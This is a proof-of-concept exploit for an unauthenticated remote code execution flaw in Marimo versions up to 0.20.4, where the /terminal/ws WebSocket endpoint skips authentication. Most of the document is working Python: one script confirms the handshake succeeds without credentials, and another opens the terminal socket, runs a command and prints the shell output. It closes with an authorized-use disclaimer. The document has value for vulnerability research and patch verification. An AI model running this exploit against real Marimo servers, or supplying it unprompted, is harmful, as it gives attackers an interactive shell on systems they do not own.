
Proof-of-concept exploit for pre-authenticated remote code execution in Marimo via the WebSocket endpoint, allowing unauthenticated attackers to obtain an interactive PTY shell.
For educational and authorized security research purposes only.
Pre-authenticated Remote Code Execution in Marimo <= 0.20.4.
The WebSocket endpoint /terminal/ws skips authentication validation, allowing an unauthenticated attacker to obtain a full interactive PTY shell via a single connection.
websockets (pip install websockets)Confirms the endpoint accepts connections without credentials:
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
Expected result: HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] Connection established without authentication")
await asyncio.sleep(0.3)
# Read initial PTY banner
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[PTY banner]:", repr(msg))
except asyncio.TimeoutError:
pass
# Send command
await ws.send("id\n")
await asyncio.sleep(0.5)
# Read frames until timeout
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[RCE output]:", clean)
asyncio.run(exploit("127.0.0.1", 2718))
This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.